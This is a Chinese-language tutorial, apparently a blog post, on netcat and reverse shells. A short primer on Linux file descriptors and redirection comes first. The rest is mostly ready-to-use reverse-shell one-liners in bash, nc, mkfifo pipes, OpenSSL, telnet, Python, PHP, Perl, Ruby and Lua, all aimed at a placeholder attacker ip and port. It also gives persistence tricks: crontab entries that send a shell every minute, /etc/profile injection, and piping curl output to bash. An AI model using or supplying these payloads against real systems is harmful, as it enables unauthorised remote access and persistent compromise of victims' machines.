序言
曲径通幽处,禅房花木深。
抽空总结一下nc经典用法以及反弹shell的多种姿势。
linux文件描述符和重定向
在反弹shell的时候疑惑,神奇的&、<、>
都是用来做什么的?
没错,他们就是负责将文件描述符重定向的。
文件描述符
linux跟踪打开的文件,并且分配给他一个数字,这个数字用于充当句柄。
linux启动的时候会自动启动三个文件描述符:
- stdin 标准输入 0 键盘
- stdout 标准输出 1 显示器
- stderr 错误输出 2 显示器
之后再打开文件,数字自动递增
并且所有的shell命令都会默认拥有这三个描述符(0,1,2)
举个例子,如果我们想要把输出的内容输出到文件中,或者想从文件中读取输入,我们需要的是:
修改数字 ,将文件描述符重定向。
重定向
两种:
- 输入重定向 <
- 输出重定向 >
记忆方法:在命令行中,命令总是在左侧,而重定向符号“指向”数据流动
默认的重定向会覆盖文件内容,如果想追加 ,可以<< 、>>
一般0、1、2都写在左侧
当解析器解析到重定向符号的话,就会先处理重定向。
就像下面这个小例子:
输入:输入流默认是0,修改了0的指向,让它指向file.txt,cat自然就会去读标准输入流
1 | # 打印文件内容 |
输出:输出流默认是1,修改了1的指向,将输出内容输出到文件file.txt中。
1 | (覆盖) |
将命令结果输出到文件:
1 | mkdir &> result.txt |
文件描述符的操作
模糊输出 >& <&
正确、错误都输出到同一个地方(1,2)
文件描述符重定向
n<&m n>&m
以上两种模式都是将n复制到m,只不过分别是只读/写,两种模式
因此对于 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2>&1 意思就是把 标准错误输出 重定向到(指向) 标准输出,
& 目的是为了区分数字名字的文件和文件描述符
如果没有&
,系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
那么下面两种命令是等价的
1 | mkdir &> result.txt |
命令的顺序
系统读取shell命令永远是从左到右
顺序不同导致结果不同
举个例子
1 | mkdir > result.txt 2>&1 |
exec I/O重定向
exec命令就是以新的进程去代替原来的进程,但进程的PID保持不变。因此,可以这样认为,exec系统调用并没有创建新的进程,只是替换了原来进程上下文的内容。原进程的代码段,数据段,堆栈段被新的进程所代替。
举个例子:
1 | exec 55<>test.txt # 创建一个新描述符55 该进程所有的输出重定向到result.txt文件下 |
NetCat基本用法
几个重要参数:
1 | -l 开启监听模式 |
测试环境:
1 | 攻击机:A |
正向连接shell
原理:
受害主机将bash交付给5555端口,攻击机连接5555端口即可
1 | B:nc -lvvp 5555 -e /bin/sh |
反向连接shell
原理:
攻击机打开自己的6000端口,受害主机主动把自己的shell发送给6000端口
1 | A:nc -lvpp 6000 |
反弹shell多种姿势
利用Bash
先写姿势:
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
之前简单介绍了借助nc来实现,其实bash自己就可以做到发送shell
Attacker: nc -lvvp 2333
Victim: bash -i >& dev/tcp/[attacker's ip]/2333 0>&1
一步步看:
bash -i
开启交互模式
/dev/tcp/ip/port
这是一个十分特殊的文件,直接访问它是不存在的
但是如果现在有主机A在ip+port监听,那么你对它读写。就可以实现与A的socket通信
比如:
攻击机:echo “hello” > /dev/tcp/[attacker’s ip]/6000
就可以将hello通过socket通信,发送到受害者主机
再比如:
攻击机在nc -lvvp 6000
开启本地端口之后,随便在键盘写点东西
这时候如果受害机cat < /dev/tcp/[attacker's ip]/6000
就可以看到刚才输入的数字
bash -i > /dev/tcp/ip/port
这条命令就是将受害机的输出重定向到ip+port上
这时候在受害机输入任何命令,结果都会显示在攻击者主机上
bash -i < /dev/tcp/ip/port
上一个命令仅仅是接受受害机的输入,将命令结果定向到攻击机。还差点意思
这条命令就是将受害机输入也重定向到Socket的输入
bash -i > /dev/tcp/ip/port 0>&1
现在合二为一,这条命令解释一下就是:
顺序肯定是从左向右,首先将输出1重定向到socket,然后把输入0定向到1,也就是socket
这样一来,输入和输出都定向到了socket,也就是/dev/tcp/ip/port
这样就形成了一个回路,完成了远程shell的交互。
但是这样在受害机还是能看到有操作痕迹,我们希望”悄无声息”的进行shell交互
这就需要用到模糊输出,以下两种格式都可以:
1 | bash -i > /dev/tcp/ip/port 0>&1 2>&1 |
末尾的0>&1和0<&1
除了打开方式不同 在这里没区别 看个人习惯
第二个命令里面 >& &>
都可以
借助exec
1 | exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line >&5 2>&1;done |
原理:
新建了一个文件描述符,标号5,让5结合exec重定向到socket
接下来,将输入设置为5指向的socket
后半段:while read line;do $line >&5 2>&1;done
拆开就是:
1 | while read line |
首先从socket中读取一行,复制给line变量
接下来执行line变量(这一行的内容),然后将结果输出到socket,done结束
类似的还可以:
1 | 0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196 |
应用:
配合curl 将一句话写入受害主机的index.php 然后
curl ip | bash
写入crontab定时任务,但是必须知道用户名
一般来说,一般都是root
centos:
/var/spool/cron/root
debian:
/var/spool/cron/crontabs/root
1
2
3
4
5
6*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1
每隔一分钟,发送shell
一句话版本
crontab -l;printf "* * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n")|crontab -写入
/etc/profile
配置文件中1
/bin/bash -i >& /dev/tcp/ip/port 0>&1 &
利用NetCat
刚刚提到了,再写一遍:
受害者主机回连:
1 | nc -e /bin/sh ip 4000 |
如果-e 参数用不了怎么办?
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4000 >/tmp/f |
mkfifo首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。
还可以:
1 | mknod backpipe p; nc ip 4000 0<backpipe | /bin/bash 1>backpipe 2>backpipe |
利用协议
利用OpenSSL
先生成自签名证书,一路回车:
1 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes |
首先在攻击机上开放4000端口:
1 | openssl s_server -quiet -key key.pem -cert cert.pem -port 4000 |
此时 OpenSSL 便在攻击机的4000端口上启动了一个 SSL/TLS server。
1 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s |
利用Telnet
方法1:单端口
1 | nc -lvvp 2333 |
方法2:双端口
1 | nc -lvvp 4000 |
利用SSH
1 | 受害主机执行: |
利用各种语言脚本
攻击机ip,监听port
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php
1 | php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");' |
perl
1 | perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
ruby
1 | ruby -rsocket -e 'c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
Lua
1 | lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');" |
Java
1 | public class Revs { |